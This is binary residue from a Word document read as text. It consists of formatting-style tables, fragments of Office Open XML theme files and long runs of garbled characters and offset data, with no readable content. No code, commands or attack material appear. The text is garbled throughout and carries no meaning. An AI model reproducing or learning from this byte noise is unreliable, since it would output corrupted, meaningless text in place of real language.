h£zÿ B* aJ ph $ h~ h£zÿ 6 •B* aJ mH ph sH h~ h£zÿ B* mH ph sH h£zÿ B* \ •mH ph sH h~ h£zÿ B* \ •mH ph sH ' h~ h£zÿ 6 •B* ] •aJ mH ph sH ! h~ h£zÿ B* aJ mH ph sH ‘÷ ¯÷ ¼÷ Å÷ £ø ©ø £ù ¶ù ×ù óù 'ú ú \ú cú îû ü ü ½ü àü 8ý Jý Oý _ý þ þ þ þ Aþ Zþ ‰þ Ÿþ ¤þ ¥þ ¦þ ¨þ ©þ «þ ¬þ ®þ ¯þ ±þ ²þ ¸þ ¹þ ºþ »þ ¼þ ½þ Ãþ Äþ Æþ ñäñäÕäÕäÕäÕäÕäÈ»äÕäÕäÕäÕäÕäÕäÕ䮦¢¦¢¦¢¦¢˜’˜’ŽŠ˜ ’˜• h ]‹ 0J mH nH u hrXî h hŽ h hŽ 0J j h hŽ 0J U hÓ*? j hÓ*? U h~ h 2E B* aJ ph h~ h Õ B* aJ ph h~ hœ ø B* aJ ph h~ h,w 6 •B* aJ ph h~ h,w B* aJ ph h~ h,w 5 •B* aJ ph 2-þ ®þ °þ Ïþ Ðþ ý ý ý ñ è ý ý $ dh a$ gdÜY‹ ±þ ºþ ý »þ ¼þ Èþ ý ý Éþ Êþ ñ ý Ý Ëþ Ìþ è Íþ ý Îþ „h ]„h gd hŽ „øÿ „ &`#$ gdrXî ßÛ×Ê Æþ Çþ Èþ Éþ Êþ Ëþ Íþ Îþ Ïþ Ðþ õïëçã h~ h 2E B* aJ ph hšO• h c` hñmÛ hÓ*? hrXî h hŽ h hŽ 0J j h hŽ 0J U < 0 0 &P 1h :p hŽ °ƒ. °ÈA!°Á "°Â #•Á $•Â %° °Å °§ •Ä ÿ $ $ If – !v h 5Ö - 5Ö g 5Ö T 5Ö O 5Ö v ® :V – l Ö0 ÿ ÿ ÿ ÿ ÿ 5Ö g 5Ö T 5Ö O 5Ö ® /Ö ÿÿÿÿÿÿÿÿ/Ö ÿÿÿÿÿÿÿÿ/Ö ÿÿÿÿÿÿÿÿ4Ö ñ $ $ If – !v h 5Ö - 5Ö g 5Ö T 5Ö O 5Ö v ® :V – l Ö0 ÿ ÿ ÿ ÿ ÿ 5Ö g 5Ö T 5Ö O 5Ö ® /Ö ÿÿÿÿÿÿÿÿ/Ö ÿÿÿÿÿÿÿÿ4Ö ñ $ $ If – !v h 5Ö - 5Ö g 5Ö T 5Ö O 5Ö v ® :V – l Ö0 ÿ ÿ ÿ ÿ ÿ 5Ö g 5Ö T 5Ö O 5Ö ® /Ö ÿÿÿÿÿÿÿÿ/Ö ÿÿÿÿÿÿÿÿ4Ö $ $ If – !v h 5Ö - 5Ö g 5Ö T 5Ö O 5Ö v ® :V – l 4 ” Ö0 ÿ ÿ ÿ ÿ 5Ö - 5Ö g 5Ö T 5Ö O 5Ö ® /Ö ÿÿÿÿÿÿÿÿ/Ö ® #v ÿ ® #v ÿ ® #v ÿ ® #v ÿ - #v ö - #v ö - #v ö g #v 6 ö g #v 6 ö g #v 6 ö - #v g #v ÿ ö T #v O # 5Ö - T #v O # 5Ö - T #v O # 5Ö - T #v O # 6 ö ÿÿÿÿÿÿÿÿ/Ö ÿÿÿÿÿÿÿÿ4Ö f4 « $ $ If –Ô !v h 5Ö „ 5Ö ~ 5Ö † #v „ #v ~ #v † :V – l Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö ö 5Ö ~ 5Ö † 4Ö aö Ô « $ $ If –Ô !v h 5Ö „ 5Ö ~ 5Ö † #v „ #v ~ #v † :V – l Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö ö 5Ö ~ 5Ö † 4Ö aö Ô › $ $ If – ú !v h 5Ö N 5Ö È #v N #v È :V – l Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö ö 5Ö È 4Ö aö ú yt ]‹ › $ $ If – ú !v h 5Ö N 5Ö È #v N #v È :V – l Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö ö 5Ö È 4Ö aö ú yt ]‹ › $ $ If – ú !v h 5Ö N 5Ö È #v N #v È :V – l Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö ö 5Ö È 4Ö aö ú yt ]‹ › $ $ If – ú !v h 5Ö N 5Ö È #v N #v È :V – l Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö ö 5Ö È 4Ö aö ú yt ]‹ › $ $ If – ú !v h 5Ö N 5Ö È #v N #v È :V – l Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö ö 5Ö È 4Ö aö ú yt ]‹ › $ $ If – ú !v h 5Ö N 5Ö È #v N #v È :V – l Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö ö 5Ö È 4Ö aö ú yt ]‹ › $ $ If – ú !v h 5Ö N 5Ö È #v N #v È :V – l Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö ö 5Ö È 4Ö aö ú yt ]‹ › $ $ If – l !v h 5Ö Û 5Ö ‘ #v Û #v ‘ :V –l t à Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö l! 6 ö Û 5Ö ‘ aö l ytÒM › $ $ If – l !v h 5Ö Û 5Ö ‘ #v Û #v ‘ :V –l t à Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö l! 6 ö Û 5Ö ‘ aö l ytÒM › $ $ If – l !v h 5Ö Û 5Ö ‘ #v Û #v ‘ :V –l t à Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö l! 6 ö Û 5Ö ‘ aö l ytÒM „ 5Ö „ 5Ö N 5Ö N 5Ö N 5Ö N 5Ö N 5Ö N 5Ö N 5Ö 5Ö 5Ö 5Ö ^ 2 0 0 0 0 0 0 0 @ @ @ @ @ @ @ nH À P P P P P P P Ð ` ` ` ` ` ` ` sH à p p p p p p p tH ð € € € € € € € • • • • • • • P À À À À À À 8 `ñÿ Ð Ð Ð Ð Ð Ð X P à à à à à à ø ð ð ð ð ð ð 2 V ~ ( Ø è _H mH $+’ x N o r m a l @ x 1$ 5$ 7$ 8$ 9D H$ CJ _H mH sH tH ,w 2 aJ H e a d i n g # $ ¤ð ¤< 1$ 5$ 7$ 8$ 9D mH! sH! Z Z @& H$ ( 5 •6 •CJ OJ QJ \ •] •^J Z › 3 ¡ D $ H e a d i n g ¤ð ¤< @& - 5 •CJ OJ PJ QJ \ •^J aJ D A`òÿ D e f a u l t P a r a g r a p h F o n t R i@óÿ³ R T a b l e N o r m a l l 4Ö aö ( k ôÿÁ ( N o ö 4Ö L i s t v C@ ò v Æ Ÿnd ž ˆ B o d y T e x t I n d e n t 0 „) „ ÿ1$ 5$ 7$ 8$ 9D H$ ^„) `„ ÿ aJ mH sH 2 B@ 2 K w B o d y T e x t ¤x R R@ R K w 2 B o d y „ dà T e x t I n d e n t ¤x ^„ T S " T ì" B o d y T e x t I n d e n t 3 „ ¤x ^„ CJ aJ J >@ 2 J ì" 5 •\ •aJ T i t l e ` " ` $ 1$ 5$ 7$ 8$ 9D H$ a$ 2E mH C a p t i o n sH 4 @ R 4 $ 1$ 5$ 7$ 8$ 9D H$ a$ 5 •CJ OJ QJ aJ hŽ Æ à À! F o o t e r . )@¢ a . hŽ P a g e N u m b e r j š ³ s j šmû T a b l e G r i d 7 :V R þ ¢ • R Ö0 ÿ ÿ ÿ ÿ ÿ ÿ Z › H e a d i n g 3 C h a r - 5 CJ OJ PJ QJ \ ^J aJ PK [Content_Types].xml¬‘ËjÃ0 E÷…þƒÐ¶Ørº(¥Ø΢Iw},Ò t# bΙ{U®•ã ! ‚Š¼ ú ä±-j„4 Éßwì¸Pº - “óTéU^h…d}㨫ôûî)»×*1P ƒ'¬ô “^××Wåî 0)™¦Též9< “l•#¤Ü $yi} å ; À~@‡æ¶(îŒõÄHœñÄÐuù* D× zƒÈ/0ŠÇ° ðûù $€˜ X«Ç3aZ¢Ò Âà,°D0 j~è3߶Îbãí~ i>ƒ ØÍ 3¿\`õ?ê/ç [Ø ¬¶Géâ\•Ä!ý-ÛRk.“sþÔ»•. .— ·´aæ¿-? ÿÿ PK ! ¥Ö§çÀ 6 _rels/.rels„•ÏjÃ0 ‡ï…½ƒÑ}QÒà %v/¥•C/£} á(•h" Û ëÛOÇ » „¤ï÷©=þ®‹ùá”ç šª ÃâC?Ëháv=¿‚É…¤§% [xp†£{Ûµ_¼PÑ£<Í1 ¥H¶0• ˆÙO¼R®BdÑÉ ÒJEÛ4b$§‘q_טž à6LÓõ R×7`®¨Éÿ³Ã0ÌžOÁ¯,åE n7”Liäb¡¨/ãS½¨eªÔ-е¸ùÖý ÿÿ PK ! ky– ƒ Š theme/theme/themeManager.xml ÌM à @á}¡w•Ù7c»(Eb²Ë®»ö Cœ AÇ ÒŸÛ×åãƒ7Îß Õ›K Y,œ ŠeÍ.ˆ·ð|,§ ¨ÚH Å,láÇ æéx É´ ßIÈsQ}#Õ…­µÝ Öµ+Õ!ï,Ý^¹$j=‹GWèÓ÷)âEë+& 8ý ÿÿ PK ! –µ-â– P theme/theme/theme1.xmlìYOoÛ6 ¿ Øw toc'v uŠØ±›-M Än‡-i‰– ØP¢@ÒI} Ú〠úa‡ Øm‡a[ Ø¥û4Ù:l Я°GR’ÅX^’6ØŠ­>$ ùãûÿ-©«×îÇ !)OÚ^ýrÍC$ñy@“°íÝ-ö/­yH*œ ˜ñ„´½)‘Þµ÷ß»Š×UDb‚`}"×qÛ‹”J×—– ¤ ÃX^æ)I`nÌEŒ ¼Šp) ø èÆli¹V[]Š1M<”à ÈÞ ©OÐP“ô6râ= ¯‰’zÀgb I g…Á u••SÙe bÖö€OÀ†ä¾ò ÃRÁDÛ«™Ÿ·´qu ¯g‹˜Z°¶´®o~ÙºlAp°lxŠpT0­÷ ­+[ } `j-×ëõº½zAÏ °ïƒ¦V–2ÍF•-ÞÉi– @öqžv·Ö¬5\|‰þʜ̭N§Óle²X¢ d søµÚjcsÙÁ •Å7çð•Îf·»êà ÈâWçðý+­Õ†‹7 ˆÑä` - ÚïgÔ È˜³íJø À×j |†‚h(¢K³ óD-Šµ ß㢠dXÑ ©iJÆ؇(îâx$(Ö ð:Á¥ ;ä˹!Í I_ÐTµ½ S 1£÷êù÷¯ž?EÇ ž ?øéøáÃã ?ZBΪmœ„åU/¿ýìÏÇ£?ž~óòÑ ÕxYÆÿúÃ'¿üüy5 Òg&΋/ŸüöìÉ‹¯>ýý»G ðMGeøÆD¢›ä íó $”8ÁšK ýžŠ ôÍ)f™w 9:ĵà å£ x}rÏ x ‰‰¢ œw¢Ø îrÎ:\TZaGó*™y8IÂjæbRÆíc|XÅ»‹ Ç¿½I u3 KGñnD 1÷ N 3Vq%'#q¾ à ÓòŠÍ IB Òsü€• íîRêØu—ú‚K>Vè.E L+M2¤#'šf‹¶i ~™Vé þvl³{ u8«Òz‹ ºHÈ Ì*„ æ˜ñ:ž( W‘ ☕ ~ «¨JÈÁTøe\O*ðtH G½€HYµæ– }KNßÁP±*ݾ˦±‹ Š-TѼ9/#·øA7ÂqZ… Ð$*c? ¢ íqU ßån†èwð N ºû %Ž»O¯ ·ièˆ4 =3 Ú—Pª• ÓäïÊ1£P•m \\9† øâëÇ ‘õ¶ âMØ“ª2aûDù]„;Yt»\ ôí¯¹[x’ì eW÷ ¶)6-r¼°C-SÆ jÊÈ išd ûDЇA½Îœ óùç]É}Wr½ÿ|É]”Ïg-´³Ú IqbJ#xÌ꺃 6kàê#ª¢A„Sh°ëž& ÊŒt(QÊ% ìÌp%m‡&]ÙcaS l=•XíòÀ ¯èáü\P•1»Mh Ÿ9£ Mà¬ÌV®dDAí×aV×B™[݈fJíP |8¯ Ö„ AÛ V^…ó¹f ÌH ín÷ÞÜ-Æ é" á€d>ÒzÏû¨nœ”ÇŠ¹ €Ø©ð‘>ä•bµ ·– &û ÜÎâ¤2»Æ v¹÷ÞÄKy ϼ¤óöD:²¤œœ,AGm¯Õ\nzÈÇiÛ Ã™ -ã ¼.uχY C¾ 6ìOMf“å3o¶rÅ Ü$¨Ã5…µûœÂN H…T[XF64ÌT ,Ñœ¬üËM0ëE)`#ý5¤XYƒ`øפ ;º®%ã1ñUÙÙ¥ m;ûš•R>QD ¢à •ØDìcp¿ UÐ' ®&LEÐ/p¦­m¦Üâœ%]ùöÊàì8fi„³r«S4Ïd 7y\È`ÞJân•² åίŠIù R¥ Æÿ3Uô~ 7 +ö€ ׸ #¯m q¨BiDý¾€ÆÁÔ ˆ ¸‹…i *¸L6ÿ 9ÔÿmÎY &­áÀ§öiˆ …ýHE‚=(K&úN!VÏö.K’e„LD•Ä•© {D ê ¸ª÷v E ꦚdeÀàNÆŸûžeÐ(ÔMN9ßœ Rì½6 þéÎÇ&3(åÖaÓÐäö/D¬ØUíz³<ß{ËŠè‰Y ›Õȳ ˜•¶‚V–ö¯)Â9·Z[±æ4^næ ç5†Á¢!Já¾ é?°ÿQá3ûeBo¨C¾ µ Á‡ M  ¢ú’m<.vp “ ´Á¤IYÓf­“¶Z¾Y_p§[ð=alÙYü}Nc Í™ËÎÉÅ‹4vfaÇÖvl¡©Á³'S †ÆùAÆ8Æ|Ò*•uâ£{àè¸ßŸ0%M0Á7%¡õ ˜<€ä· ÍÒ¿ ÿÿ PK ! ÑŸ¶ ' theme/theme/_rels/themeManager.xml.rels„•M Â0 „÷‚w ooÓº ‘&ÝˆÐ­Ô „ä5 6?$Qìí ®, .‡a¾™i»—•É c2Þ1hª :é•qšÁm¸ìŽ@R N‰Ù;d°`‚Žo7í g‘K(M&$R(.1˜r 'J“œÐŠTù€®8£•Vä"£¦AÈ»ÐH÷u} ñ› |Å$½b {Õ –Pšÿ³ý8 ‰g/]þQAsÙ… (¢ÆÌà#›ªL Ê[ººÄß ÿÿ PK ! ‚Š¼ ú [Content_Types].xmlPK ! ¥Ö§çÀ 6 + _rels/.relsPK ! ky– ƒ Š theme/theme/themeManager.xmlPK ! – µ-â– P Ñ theme/theme/theme1.xmlPK ! ÑŸ¶ ' › theme/theme/_rels/themeManager.xml.relsPK ] – <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/> Ðö ÿÿÿÿ ÿÿÿÿ ÿÿÿÿ ÿÿÿÿ ÿÿÿÿ ÿÿ Ðö l ÿÿÿÿ % % % ( f * ~ # • õ! ž< ]C œW ýh xv èy ¦‚ 4• U¨ -ª ¶ È ûÖ ‡á è Yì ¥ñ ‘÷ Æþ Ðþ € ‚ ƒ „ † ‡ ˆ ‰ Š Œ • • ‘ ’ “ • – ™ œ Ÿ « ¯ ° ² ³ -ª µª ¶³ È œØ ¬Ø µÙ SÛ Ü -þ Ðþ • … ‹ Ž • ” — ˜ š › • ž ¡ ¢ £ ¤ ± ´ µ pÜ äÜ • ÐÝ éÞ < ¥ ¦ § ¨ “^ 5v á… Wª ‘ª Xà ±ä ùå Oç ’ì © ª ¬ - ® @ -ñ ÿÿ ! ( ÿ €€€ ÷ !• ! ÿ•€ ð ð8 ð "ñ ? ð ð ð( ð ð ð ðV B C ð D • ¿ ÿ ð ð ð6 ð ð6  ð "ñ ? ð ð ðV B ð C ð D • ¿ ÿ "ñ ? ð  ð "ñ ? ð ð ð6  "ñ ? ð ð ð6  "ñ ? ð ð ðV B ð ð ð C ð D • ¿ ÿ "ñ ? ð ð ðV D • ¿ ÿ "ñ ? ð ð ðB B ð C ð ð S ð- ¿ Ë ÿ ð ? 9 i ¤ ¦ ¦ t 9 “ à à hq mq ) ) Œˆ Œ‰ æ ¦ ¦ Œ¢ : t t ” “ iq nq •¢ • à ² ¶ t t 0# |b ÿÿ jq oq ‘¢ t l “¢ “ fq t ôÙ §¢ l ©¢ «¢ t Ðö l L‰ kq pq -¢ gq „¡ 43 ̉lq qq 9 i æ l t ´4 ‰ rq uq zq •q R R t3 üG ÌA ô3 sq vq {q ‘- {† {† ¶œ ¶œ ò» W¾ W¾ Ñö “C 4Ú tq Ôp$ wq L´$ |q “C ÔŸ ÔŸ ¢ ¢ œ– ¤ ”p$ D¥ x¥ xq }q x¥ ² Å Á¨ Á¨ yq üÎ ~q Ú¯ ´3 Ú¯ N± N± ò» •–C C – R Q± R û» „† „† ½œ ½œ û» `¾ `¾ Ñö ÝŸ ÝŸ « « M¥ •¥ •¥ Ĩ Ĩ ݯ ݯ Q± microsoft-com:office:smarttags €City €B com:office:smarttags 8 *€urn:schemas*€urn:schemas-microsoft- €country-region €9 *€urn:schemas-microsoftcom:office:smarttags €place € • G 1 Ä H d Ì , + e Ô ì X f Í B Ì „ ã d Ó † ‰ Ô Š þ ˜ ¥ ° Ì § ± ‘ ! › 4 f í Ù • & Í À Ú œ " ° 5 Û ¿ 8 ± B ' . Ý Þ é Þ À D Ú n E þ o Q ` á Ö ‰ R e ä è Z ÿ å ë [ è / ¢ ( ¤ ¥ ¶ e f ¼ r s ÿ H £ 1 0 I 2 · ½ e ; ¿ Þ } < À å ~ À A Ó ç € € • • ! ? ` b p • ¢ ¥ ! ) * 0 ’ ” . x { ¹ Â Í Ô $ ( / 0 7 8 > ? B M U V _ ` f g q r • ‚ ‰ ’ ž Ÿ ¤ ¥ ® ¯ ´ µ » Á Ç È Ë Ì Ð Ñ × Ø Û Ü à á é ë ï ð ø ù ÿ [ © \ ª æ å . x ë ¯ ê 3 ‚ ò l k ° ë » ð 9 ¥ 4 ˆ ó ! q ÷ " r ¼ ñ ø ) > § ø & { Á 6 • Æ 7 ‚ Ç ; ˆ Ì A ‰ Í F ‘ Ñ G ” Ò J ˜ K ™ Ö Õ P Ÿ Ü Q Ý þ * C ½ , |  - D ¾ O Ä P Å U É V Ê Y Ò Z Õ h Û i Ü k à l ç v ê % d ™ & e š + n £ , o ¤ 6 r ª 7 s < | « = C • · ƒ ¸ I „ » Á O Š ì P ‹ ï S Ž ÿ T • • X O ¢ W © X ª _ ° ¹ Y ^ _ – " k Ý , n ã m j Ò d ¾ 2 o ä n Ó f æ 7 r ð r Û n ð ñ s Ü o û 8 s @ | ö y æ v A ‡ • ç { H ‘ „ í € I ’ … î • N ¡ $ • “ ò ˆ ó ‰ > š ø Œ ? œ ù • U £ ÿ ˜ ` V ½ ™ c Å \  @ ¦ d Î _ à A ¨ j Ñ i Ì ] « Í ^ ¹ $ | È É m l ° , ‚ % } Ñ q ´ . ƒ Ó r µ 5 ˆ Ú { ¸ 7 ‰ Ü | º @ • ß ‚ ¿ B ’ à ƒ À M ™ ä ‹ à O å Œ Ä X £ ì “ Í Y © < ” Î _ A ˜ × a ® C ™ â n ¶ I • è p · J ž î x ¾ N ¢ ö y À d « ¯ í „ Š ‘ 1 ± T ² [ ¹ î û ’ & j º ü " ™ , n ¿ ÿ C š o À I Ÿ J ³ v à T ¹ w Ä U Ó | Ë ‚ Ì Y Ø Z Ù c ì d í ò k Š × ‹ Ø • Þ • ß ã } ó œ € ÷ § å • ý ª é « ê % s ˜ ù ¤ & t œ + y • , z ¤ 1 } ¥ B ¨ © ® Á Í \ — Ó - # I Q R [ ƒ J ˆ K ‰ S • U ‘ ] ` a e f m o Ø Ù Þ ß ì õ ø \ a ‡ • • ™ š f © ª þ ý { Ü # q g ® | Ý $ r ° µ ’ ‰ ç ( w è # ž ë ) x À . | Å $ Ÿ ì / } Æ ( ¡ ô 7 „ É ) ¢ õ 8 … Ê 0 § ú Ó 8 ³ û A ‹ B Œ Ô = ¾ H “ á > ¿ R ” â F Ä V ˜ ë G Å ^ Ÿ ì J Ë a ¢ ñ K Ì b § ó j Ñ k × p Æ - q Ç } Î $ ƒ ~ Ï Ù & „ Ú 2 ‰ á 4 Š â B ’ è D “ é K ž î Q ª ï Y ¯ ö Z ° ù ` ¸ - a ¹ - l  m à - - -- '- (- /- 0- 7- 8- =- >- D- J- N- P- U- V- ]- ^h- i- k- l- s- t- y- {- ƒ- „- ‡- –- ›- œ- ¥- ¦- -- ®µ- ¶- »- ¼- Â- È- Ñ- Ò- Ô- Õ- Þ- à- ç- ñ- õ- ö- ÿ- ˜ ü ¡ . ¢ 4 § 5 ¨ : « ; ¬ @ ¶ A · H ¾ S Å [ É \ Ê d Ó f Ô s Ù y Ú ~ æ • ç ˆ î ‰ ï • ô Ž ö —û- & ' 1 3 9 ; > ? E H L M S T W b g h p q t u • ‚ Š ‹ ” • › œ £ ® ³ ´ Á Ê Í Ð Õ × Ü Ý å æ ï õ ú û ! ! ! ! ! ! #! $! +! ,! 5! 6! ;! <! B! C! I! J! P! S! W! X! ^! _! b! d! n! t! }! ~! ‡! ˆ! ’! “! ž! ¥! ¨! ©! ±! ²! ¶! ·! ¾! ¿! Ã! Ê! Í! Ò! Õ! Ý! à! á! æ! ç! ò ! ó! ø! ù! ÿ! " " " " " " -" "" #" *" 5" 8" 9" @" A" F" W" `" a" q" r" y" •" ‡" Ö" Ù" # # # !# '# 0# 1# 6# 8# B# D# I# J# P# R# [# ]# `# a# g# h# p# q# |# ‚# Œ# •# ’# ¡# §# ¨# «# -# ´# µ# ¼# Ä# Ê# Ë# Õ# Ö# Û# Ü# â# ã# æ# ç# ð# ñ# ö# ÷# $ $ $ $ $ $ $ $ &$ '$ *$ +$ 6$ 7$ <$ =$ @$ A$ K$ L$ U$ V$ Y$ c$ j$ k$ s$ t$ y$ z$ }$ ~$ ‡$ ˆ$ •$ Ž$ ”$ – $ Ÿ$ $ ¥$ ¦$ «$ ¬$ ³$ ´$ ½$ ¿$ Ä$ Å$ Ì$ Í$ Ñ$ Ò$ Ø$ Þ$ ã$ ä$ ë$ ì$ ï$ ð$ ö$ ÷$ ý$ þ$ % % % % % % %% &% ,% % 2% 3% 6% 7% ?% @% I% O% V% W% ]% ^% c% d% k% l% o% p% x% z% }% ƒ% ‹% Œ% ’% “% ˜% ™% œ% ž% ¥% ¦% ®% ¯% ¶% ·% ½% ¿% É% Ë% Î% Ï% Ò% Ó% Ø% Þ% å% æ% ë% ì% ò% ó% ÿ% & & & & & & & -& & && '& ,& .& 3& 4& 9& ;& D& F& K& L& R& T& W& X& ^& _& c& i& p& q& w& x& •& ‚& †& ‡& •& Ž& ‘& “& š& ›& £& ¤& ª& «& ³& ´& º& »& À& Á& Ê& Ë& Ò& Ó& Ø& Ú& ß& à& î& ð& õ& ÷& ' ' ' ' ' ' ' !' %' &' /' 1' 6' 7' ?' @' H' I' Q' R' U' V' ^' d' i' j' q' t' y' {' ƒ' „' ˆ' ™' ¢' ·' ¼' Í' Ö' é' ö' ÷' ü' ý' ( ( ( ( ( ( ( ( )( +( 4( <( G( H( O( P( W( Ð( Þ( ß( ä( å( ê( ë( ò( ó( ù( ú( ÿ( ) ) Î) ×) Ø) ß) à) å) V* [* \* _* e* p* q* v* w* |* }* ‚* ƒ* ˆ* ‰* ”* •* š* ›* ¤* ¥* ©* ª* ¯* °* ¸* »* À* Â* È* É* Ð* Ñ* Õ* Ö* Û* Ü* ä* æ* ï* ð* ó* + + + + + + + $+ %+ ++ ,+ 3+ 4+ 9+ :+ B+ C+ I+ J+ M+ N+ Z+ [+ a+ b+ g+ h+ l+ m+ w+ x+ •+ €+ ‰+ •+ ˜+ ™+ œ+ •+ ¦+ ¬+ ¶+ ·+ ½+ ¾+ Á+ Â+ Î+ Ï+ Ò+ Ó+ Û+ Ý+ â+ ã+ æ+ ì+ ó+ ô+ ÷+ ø+ ý+ þ+ , , , , , !, &, f, n, , ›, œ, æ, ç, a- b¤- ªü- ý. , , 6, 8, 9, =, >, C, D, I, J, p, u, v, ~, ‡, ‹, Œ, •, – ¤, ¥, ¨, ©, ², ³, ¹, º, ¾, ë, ì, ÷, ú, ÿ, e¯. f¶. M, N, V, W, ], ^, e, ¿, È, Ñ, ×, Ø, Ý, Þ, #- $- *- +- 0- 1- >- ?- G- H- T- U- Z- [r- u- {- |- •- •- †- ‡- Œ- •- ˜- ™- ž- ŸÁ- Â- È- É- Ô- Õ- Ø- Ú- á- ã- é- ê- ó- ô- . . . . . . . . &. '. .. 4. 5. ?. @. H. X. ]. _. d. f. o. p. y. z. ~. •. ˆ. •. – . œ. ¤. ¥. -. ®. ±. ². ·. ¸. ½. ¾. Ê. Ë. Ñ. Ò. Ù. Ü. á. â. æ. ç. ð. / / / "/ #/ 0/ 1/ 7/ 9/ A/ M/ S/ T/ X/ Y/ `/ a/ k/ v/ {/ |/ •/ ‚/ ‰/ Š/ Ž/ •/ š/ œ/ ¢/ £/ ª/ «/ ¯/ °/ ³/ µ/ º/ ¼/ Á/ Ã/ Å/ Æ/ Ê/ Ì/ Ï/ Ð/ Ô/ Õ/ Ù/ Ú / à/ á/ ì/ û/ 0 0 0 0 0 0 0 0 0 #0 )0 *0 10 20 60 70 ;0 <0 @0 B0 G0 H0 M0 N0 X0 Y0 ]0 ^0 c0 d0 j0 k0 s0 t0 |0 }0 …0 ‡0 •0 •0 ™0 š0 ž0 Ÿ0 «0 ¬0 ±0 ·0 ¾0 À0 Ç0 È0 Ð0 Ñ0 Ù0 ß0 ë0 ì0 ó0 õ0 ù0 ú0 1 1 1 1 1 1 1 ö1 1 ÷1 1 2 1 2 "1 *1 41 Ï1 Ô1 Õ1 Û1 Ü1 ä1 å1 í1 î1 ñ1 ò1 2 2 2 2 #2 $2 +2 12 72 82 <2 =2 G2 H2 L2 M2 T2 U2 [2 a2 f2 g2 s2 t2 w2 x2 •2 €2 ƒ2 „2 •2 Ž2 “2 ”2 ›2 œ2 ¡2 ¢2 ¤2 ¥2 ¬2 -2 ²2 ´2 ¹2 º2 À2 Á2 É2 Ë2 Ô2 Ö2 Ù2 Ú2 ß2 à2 æ2 ì2 ó2 ô2 ú2 û2 3 3 3 3 #3 %3 .3 03 33 43 =3 >3 D3 E3 L3 O3 i3 j3 m3 n3 w3 x3 „3 …3 ˆ3 ‰3 •3 ‘3 •3 – 3 š3 3 ¦3 §3 ±3 ²3 ¶3 ·3 À3 Á3 Æ3 Ó3 Ý3 Þ3 ñ3 ò3 ö3 ÷3 þ3 ÿ3 4 4 U3 V3 \3 ]3 æ3 ç3 ë3 ì3 4 6 4 4 4 ÷4 ø4 6 7 7 7 7 7 7 (7 )7 ˆ7 ‰7 •7 •7 °7 ¸7 ¾7 Æ7 Ç7 Ñ7 ×7 Ø7 ß7 à7 å7 æ7 î7 ï7 ó7 ô7 þ7 ÿ7 8 8 8 8 8 8 8 8 '8 )8 .8 08 58 68 =8 ?8 E8 G8 Q8 R8 V8 W8 ^8 d8 l8 m8 q8 r8 y8 z8 •8 ƒ8 Œ8 •8 ”8 •8 ›8 •8 ¢8 ¤8 ©8 «8 ¯8 ±8 ¶8 ¸8 ½8 ¿8 Æ8 È8 Ï8 Ñ8 Ô8 Õ8 Ú8 Û8 ä8 æ8 ì8 ð8 ò8 ó8 ø8 ù8 ü8 þ8 9 9 9 9 "9 #9 <9 D9 L9 N9 T9 V9 [9 ]9 d9 f9 o9 v9 |9 •9 ‡9 ˆ9 Ž9 •9 œ9 ¢9 ¥9 ¦9 ¯9 °9 ¹9 »9 ¿9 Á9 Æ9 Ç9 Í9 Î9 Ñ9 Ò9 Ø9 Ù9 Ü9 ô9 : : : : : Ò7 : : : ": $: ): *: 4: 5: :: @: I: J: N: O: T: V: _: `: c: d: y: z: ‚: „: Œ: •: •: ž: ¥: ¦: ¬: -: µ: Ì: Ö: ×: Ü: ]; c; d; l; n; x; y; •; €; ˆ; ‰; Ž; •; ˜; š; ¦; §; «; ¬; ³; ´; ¸; ¾; Å; Æ; Ì; Í; Ô; Ö; Ü; Þ; â; ã; è; é; ï ; ñ; õ; ö; û; ü; < < < < < < < < '< (< 0< 9< @< A< I< J< N< O< T< U< ]< c< k< l< u< v< ~< „< ‹< Œ< •< “< š< ›< ¡< ¢< ¨< Ž? •? Î? Ö? ä? ð? •@ †@ ‡@ •@ Ž@ –@ — @ ¡@ ¢@ §@ Ï@ Ù@ Û@ è@ é@ ì@ í@ ò@ ó@ ÿ@ A A A A A A A A A -A A $A %A (A )A A .A 5A 6A =A ?A DA EA MA SA YA ZA \A ]A gA hA lA mA uA vA zA {A „A …A ’A “A šA ›A ¢A £A ¬A -A ±A ²A ºA »A ÅA ÇA ÏA ÑA àA áA çA øA B B B B B B B B B B %B &B 3B ;B DB FB QB RB eB fB nB oB wB zB •B ‚B ‡B ‰B ŽB •B — B §B ªB «B °B ±B ¼B ÂB ÇB ÈB ÒB ÓB ØB ÙB àB áB çB èB íB îB ôB õB úB ûB C C C C C C %C &C .C /C 5C 6C =C >C EC HC OC QC XC YC dC }C •C ‚C ˆC ‰C ‘C “C –C — C •C £C «C ¬C ³C ´C ¿C ÀC ÆC âC êC ëC ðC òC ùC ûC þC ÿC D D D D D -D !D "D 'D (D 1D 2D ;D <D CD FD KD LD OD PD VD \D dD eD lD mD xD yD •D žD ¦D §D °D ²D ½D ¿D ÂD ÃD ÍD ÔD ÙD ÚD ßD àD èD éD íD îD ÷D øD E E E E E E E E %E &E *E ,E 7E 8E <E >E AE BE KE LE SE VE [E ^E jE zE €E •E ‰E ŠE “E ”E ™E šE E ¡E ¨E ªE ³E µE ¾E ÅE ÏE ÐE ÕE ÖE áE âE èE éE ñE ôE ûE üE F F F F F F F !F ,F F 3F 5F <F =F EF FF LF MF UF XF `F bF hF jF pF sF zF {F €F •F ŽF •F “F ”F œF •F ¤F ¦F -F ®F µF ¶F »F ½F ÄF ÅF ËF ÍF ÕF ×F ÜF ÝF åF çF êF íF óF ôF ùF úF G G G G G G !G "G (G )G /G 0G 7G 8G @G AG GG IG SG UG `G bG kG mG uG xG €G •G ŽG ”G œG 5H ;H =H FH [H aH bH fH gH nH oH tH uH 